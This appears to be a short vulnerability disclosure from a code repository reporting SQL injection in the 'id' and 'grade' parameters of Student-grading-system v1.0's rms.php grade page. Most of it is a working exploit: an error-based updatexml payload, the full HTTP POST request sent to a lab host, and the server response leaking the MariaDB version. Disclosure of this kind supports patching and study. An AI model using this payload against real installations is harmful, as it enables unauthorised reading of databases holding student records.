debug601 Create SQLi-1.md History

1 contributor

31 lines (23 sloc) | 1.37 KB

Student-grading-system v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/14522/student-grading-system-using-phpmysql-source-code.html

Vulnerability File: /student-grading-system/rms.php?page=grade

Vulnerability location: /student-grading-system/rms.php?page=grade,id

[+] Pyaload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&grade=1' and updatexml(1,concat(0x7e,(select version()),0x7e),0)--+

```
POST /student-grading-system/rms.php?page=grade HTTP/1.1
Host: 192.168.1.19
Content-Length: 133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.1.19/student-grading-system/rms.php?page=grade
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

```
Cookie: PHPSESSID=lpvr00hu9v7v4dvs4atvc5gdg6
Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&grade=1' and updat
```

```
/student-grading-system/rms.php?page=grade HTTP/1.1
Host: 192.168.1.19
Content-Length: 133
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.19/student-grading-system/rms.php?page=grade
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=lpvr00hu9v7v4dvs4atvc5gdg6
Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&grade=1' and updatexml(1,concat(0x7e,(select version()),0x7e),0)--+
```

```
</script>

                                </div>
                <!-- /.navbar-collapse -->
            </nav>


            <div id="page-wrapper">

                <div class="container-fluid">


                  <h3 class="page-header">Grade <small>section</small></h3>
              Error updating record: XPATH syntax error: '~10.4.19-MariaDB~'
               <div class="col-md-8 " id="s_page">


                       <div class="panel panel-default">
                <div class="panel-heading">
                  <h3 class="panel-title">List of Grades</h3>
                </div>
                <div class="panel-body">

          <table id="students" class="table table-hover table-bordered">
            <thead>
              <tr>
                <th style="width:20%">Grade</th>
                <th style="width:10%"></th>
              </tr>
            </thead>
            <tbody>

              <tr>
```